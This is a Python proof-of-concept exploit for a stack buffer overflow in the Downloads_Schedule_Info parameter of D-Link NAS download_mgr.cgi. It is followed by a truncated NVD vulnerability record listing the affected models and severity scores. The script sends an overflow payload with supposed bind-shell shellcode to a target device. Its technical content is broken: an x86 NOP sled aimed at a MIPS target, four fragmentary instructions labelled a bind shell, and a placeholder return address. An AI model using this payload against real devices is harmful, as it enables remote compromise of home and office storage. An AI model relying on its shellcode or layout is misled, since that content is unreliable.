CVE-2026-4212

import requests # CVE-2026-4212 PoC - D-Link NAS Stack Buffer Overflow # Target: D-Link NAS devices (DNS-320, DNS-320L, DNS-325, etc.) # Endpoint: /cgi-bin/download_mgr.cgi # Vulnerable function: Downloads_Schedule_Info target_ip = "192.168.1.100" target_port = 80 target_url = f"http://{target_ip}:{target_port}/cgi-bin/download_mgr.cgi" # Generate payload for stack buffer overflow # NOP sled + shellcode + return address def generate_payload(): nop_sled = b"\x90" * 100 # Bind shell to port 4444 - MIPSEL architecture shellcode shellcode = ( b"\x50\x45\x4e\x44" # MIPS NOP equivalent b"\xff\xff\x13\x24" # li t9,-13 b"\x27\xbd\xff\xe0" # addiu sp,sp,-32 b"\x27\x20\x01\x01" # move a0,sp ) return_address = b"\x42\x42\x42\x42" # Address to jump to (needs to be determined) padding = b"\x41" * 200 # Fill buffer payload = nop_sled + shellcode + padding + return_address return payload # Exploit via Downloads_Schedule_Info function def exploit(): params = { "Downloads_Schedule_Info": generate_payload().decode('latin-1') } print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload length: {len(generate_payload())} bytes") try: response = requests.post(target_url, data=params, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-4212", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:07.663", "lastModified": "2026-03-19T14:29:12.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. This affects the function Downloads_Schedule_Info of the file /cgi-bin/download_mgr.cgi. Such manipulation leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed publicly and may be used."}, {"lang": "es", "value": "Una vulnerabilidad de seguridad ha sido detectada en D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 y DNS-1550-04 hasta 20260205. Esto afecta la función Downloads_Schedule_Info del archivo /cgi-bin/download_mgr.cgi. Dicha manipulación conduce a un desbordamiento de búfer basado en pila. El ataque puede ser lanzado remotamente. El exploit ha sido divulgado públicamente y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dnr-202l_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "2026-02-05", "matchCriteriaId": "E20A03F5-6985-4917-8E5B-48963FB62AF2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe ... 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